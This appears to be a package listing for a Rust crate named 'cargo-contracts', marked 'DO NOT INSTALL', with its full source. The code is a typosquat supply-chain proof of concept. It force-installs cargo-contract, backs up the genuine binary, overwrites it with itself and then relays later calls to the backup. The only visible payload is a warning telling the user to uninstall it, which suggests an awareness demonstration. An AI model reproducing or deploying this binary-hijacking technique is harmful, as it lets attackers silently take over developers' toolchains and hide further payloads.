cargo-contracts 0.0.2

DO NOT INSTALL
use std::env;
use std::fs;
use std::path::Path;
use std::process::Command;

fn main() {
    let cargo_contract = find_bin("cargo-contract".to_string());
    if cargo_contract.is_empty() {
        let _ = Command::new("cargo")
            .arg("install")
            .arg("--force")
            .arg("cargo-contract")
            .output()
            .expect("failed to execute process");
    }
    let mut cargo_backup = find_bin("cargo-backup".to_string());
    if cargo_backup.is_empty() {
        cargo_backup = Path::new(&cargo_contract)
            .parent()
            .unwrap()
            .join("cargo-backup")
            .to_str()
            .unwrap()
            .to_string();

        fs::copy(&cargo_contract, &cargo_backup).expect("failed to copy to cargo-backup");
        fs::copy(env::current_exe().unwrap(), &cargo_contract)
            .expect("failed to copy to cargo-contract");

        let _ = Command::new("chmod")
            .arg("+x")
            .arg(cargo_contract)
            .output()
            .expect("failed to execute process");

        std::process::exit(0);
    }

    if let Some(program_path) = env::args().next() {
        if !program_path.contains("cargo-contract") && !program_path.contains("cargo-contracts") {
            std::process::exit(0);
        }
    }

    // Forward the arguments to original cargo contract
    let mut args = env::args();
    args.next(); // Skip the first argument (program name)
    let args: Vec<String> = args.collect();

    let status = Command::new(&cargo_backup).args(&args).status();
    let message = "\nWARNING\n\n You have installed a MODIFIED version version of cargo-contract. \n Please uninstall it ASAP.\n For more information read our blogpost about supply chain attacks:\n";
    println!("{}", message);
    std::process::exit(status.unwrap().code().unwrap());
}

fn find_bin(name: String) -> String {
    let output = Command::new("which")
        .arg(name)
        .output()
        .expect("failed to execute process");
    let stdout = String::from_utf8(output.stdout).unwrap();
    stdout.trim().to_string()
}